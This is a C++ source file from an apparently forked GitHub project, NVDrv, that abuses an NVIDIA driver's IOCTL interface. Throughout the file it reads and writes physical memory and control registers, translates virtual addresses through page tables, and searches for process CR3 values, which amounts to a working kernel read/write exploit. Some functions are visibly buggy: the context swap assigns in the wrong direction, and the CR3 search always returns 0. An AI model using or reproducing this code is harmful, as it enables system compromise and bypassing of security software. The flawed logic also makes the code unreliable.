forked from zer0condition/NVDrv
/
NVDrv.cpp
311 lines (226 loc) · 7.27 KB
/
NVDrv.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
#include "NVDrv.h"
uintptr_t NVDrv::MmGetPhysicalAddress(uintptr_t virtual_address)
{
request_phys_addr Request{};
Request.request_id = NVFunction::phys_req;
Request.result_addr = 0;
Request.virtual_addr = virtual_address;
this->encrypt_payload(&Request, 0x38, Request.packet_key);
DWORD BytesReturned{};
auto status = DeviceIoControl(this->nvhandle, ioctl_code, &Request, 0x138u, &Request, 0x138, &BytesReturned, 0i64);
if (!status)
{
if (DEBUG)
printf("Failed VTOP for virtual address: %p!\n", (void*)virtual_address);
return 0;
}
return Request.result_addr;
}
BOOL NVDrv::ReadPhysicalMemory(uintptr_t physical_address, void* OUT res, int size)
{
request_memcpy Request{};
Request.request_id = NVFunction::phys_read;
Request.size = size;
Request.dst_addr = (__int64)res;
Request.src_addr = physical_address;
this->encrypt_payload(&Request, 0x38, Request.packet_key);
DWORD BytesReturned{};
return DeviceIoControl(this->nvhandle, ioctl_code, &Request, 0x138u, &Request, 0x138, &BytesReturned, 0i64);
}
BOOL NVDrv::WritePhysicalMemory(uintptr_t physical_address, void* IN res, int size)
{
request_memcpy Request{};
Request.request_id = NVFunction::phys_write;
Request.size = size;
Request.dst_addr = physical_address;
Request.src_addr = (__int64)res;
this->encrypt_payload(&Request, 0x38, Request.packet_key);
DWORD BytesReturned{};
return DeviceIoControl(this->nvhandle, ioctl_code, &Request, 0x138u, &Request, 0x138, &BytesReturned, 0i64);
}
BOOL NVDrv::SwapReadContext(uintptr_t target_cr3)
{
if (!target_cr3)
return FALSE;
target_cr3 = this->target_cr3;
return TRUE;
}
uintptr_t NVDrv::GetSystemCR3()
{
for (int i = 0; i < 10; i++)
{
uintptr_t lpBuffer;
if (!this->ReadPhysicalMemory(i * 0x10000, &lpBuffer, sizeof(uintptr_t)))
continue;
for (int uOffset = 0; uOffset < 0x10000; uOffset += 0x1000)
{
uintptr_t value1, value2, value3;
if (!this->ReadPhysicalMemory(lpBuffer + uOffset, &value1, sizeof(uintptr_t)))
continue;
if (!this->ReadPhysicalMemory(lpBuffer + uOffset + 0x70, &value2, sizeof(uintptr_t)))
continue;
if (!this->ReadPhysicalMemory(lpBuffer + uOffset + 0xa0, &value3, sizeof(uintptr_t)))
continue;
if (0x00000001000600E9 ^ (0xffffffffffff00ff & value1))
continue;
if (0xfffff80000000000 ^ (0xfffff80000000000 & value2))
continue;
if (0xffffff0000000fff & value3)
continue;
return value3;
}
}
return 0;
}
uintptr_t NVDrv::TranslateLinearToPhysicalAddress(uintptr_t virtual_address)
{
unsigned short PML4 = (unsigned short)((virtual_address >> 39) & 0x1FF);
uintptr_t PML4E = 0;
this->ReadPhysicalMemory((this->target_cr3 + PML4 * sizeof(uintptr_t)), &PML4E, sizeof(PML4E));
unsigned short DirectoryPtr = (unsigned short)((virtual_address >> 30) & 0x1FF);
uintptr_t PDPTE = 0;
this->ReadPhysicalMemory(((PML4E & 0xFFFFFFFFFF000) + DirectoryPtr * sizeof(uintptr_t)), &PDPTE, sizeof(PDPTE));
if ((PDPTE & (1 << 7)) != 0)
return (PDPTE & 0xFFFFFC0000000) + (virtual_address & 0x3FFFFFFF);
unsigned short Directory = (unsigned short)((virtual_address >> 21) & 0x1FF);
uintptr_t PDE = 0;
this->ReadPhysicalMemory(((PDPTE & 0xFFFFFFFFFF000) + Directory * sizeof(uintptr_t)), &PDE, sizeof(PDE));
if (PDE == 0)
return 0;
if ((PDE & (1 << 7)) != 0)
{
return (PDE & 0xFFFFFFFE00000) + (virtual_address & 0x1FFFFF);
}
unsigned short Table = (unsigned short)((virtual_address >> 12) & 0x1FF);
uintptr_t PTE = 0;
this->ReadPhysicalMemory(((PDE & 0xFFFFFFFFFF000) + Table * sizeof(uintptr_t)), &PTE, sizeof(PTE));
if (PTE == 0)
return 0;
return (PTE & 0xFFFFFFFFFF000) + (virtual_address & 0xFFF);
}
BOOL NVDrv::ReadVirtualMemory(uintptr_t address, LPVOID output, unsigned long size)
{
if (!address || !size)
return FALSE;
uintptr_t PhysicalAddress = this->TranslateLinearToPhysicalAddress(address);
if (!PhysicalAddress)
return FALSE;
if (!this->ReadPhysicalMemory(PhysicalAddress, output, size))
{
if (DEBUG)
printf("Failed ReadVirtualMemory for address: %p!\n", (void*)address);
return FALSE;
}
return TRUE;
}
BOOL NVDrv::WriteVirtualMemory(uintptr_t address, LPVOID data, unsigned long size)
{
if (!address || !data)
return FALSE;
uintptr_t PhysicalAddress = this->TranslateLinearToPhysicalAddress(address);
if (!PhysicalAddress)
return FALSE;
if (!this->WritePhysicalMemory(PhysicalAddress, data, size))
{
if (DEBUG)
printf("Failed WriteVirtualMemory for address: %p!\n", (void*)address);
return FALSE;
}
return TRUE;
}
DWORD NVDrv::ReadCr(int cr)
{
request_readcr Request{};
Request.request_id = NVFunction::read_cr;
Request.cr_num = cr;
Request.unk_0 = 4;
this->encrypt_payload(&Request, 0x38, Request.packet_key);
DWORD BytesReturned{};
auto status = DeviceIoControl(this->nvhandle, ioctl_code, &Request, 0x138u, &Request, 0x138, &BytesReturned, 0i64);
if (!status)
return 0;
return Request.result;
}
BOOL NVDrv::WriteCr(int cr, DWORD64 value)
{
request_writecr Request{};
Request.request_id = NVFunction::write_cr;
Request.cr_num = cr;
Request.writevalue = value;
Request.unk_0 = 4;
this->encrypt_payload(&Request, 0x38, Request.packet_key);
DWORD BytesReturned{};
return DeviceIoControl(this->nvhandle, ioctl_code, &Request, 0x138u, &Request, 0x138, &BytesReturned, 0i64);
}
std::wstring NVDrv::GetProcessPath(const std::wstring& processName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return L"";
}
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnapshot, &processEntry)) {
do {
if (_wcsicmp(processEntry.szExeFile, processName.c_str()) == 0) {
CloseHandle(hSnapshot);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processEntry.th32ProcessID);
if (hProcess != nullptr) {
wchar_t buffer[MAX_PATH];
DWORD bufferSize = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, buffer, &bufferSize)) {
CloseHandle(hProcess);
return buffer;
}
CloseHandle(hProcess);
}
return L"";
}
} while (Process32Next(hSnapshot, &processEntry));
}
CloseHandle(hSnapshot);
return L"";
}
uintptr_t NVDrv::GetProcessBase(const std::wstring& processName)
{
return (uintptr_t)LoadLibrary(this->GetProcessPath(processName).c_str());
}
uintptr_t NVDrv::GetProcessCR3(uintptr_t base_address)
{
if (!base_address) {
return 0;
}
uintptr_t NtdllAddress = reinterpret_cast<uintptr_t>(GetModuleHandleA("ntdll.dll"));
if (!NtdllAddress) {
return 0;
}
uintptr_t CurrentCR3 = this->ReadCr(NVControlRegisters::CR3);
if (!CurrentCR3) {
return 0;
}
this->SwapReadContext(CurrentCR3);
uintptr_t NtdllPhysicalAddress = this->TranslateLinearToPhysicalAddress(NtdllAddress);
for (uintptr_t i = 0; i != 0x50000000; i++)
{
uintptr_t CR3 = i << 12;
if (CR3 == CurrentCR3)
continue;
this->SwapReadContext(CR3);
uintptr_t PhysicalAddress = this->TranslateLinearToPhysicalAddress(NtdllAddress);
if (!PhysicalAddress)
continue;
if (PhysicalAddress == NtdllPhysicalAddress)
{
this->SwapReadContext(CR3);
const char Bytes = this->Read<char>(base_address);
if (Bytes == 0x4D)
{
if (DEBUG)
printf("GetProcessCR3: %p\n", (void*)CR3);
this->SwapReadContext(CR3);
break;
}
}
}
FreeLibrary(reinterpret_cast<HMODULE>(NtdllAddress));
return 0;
}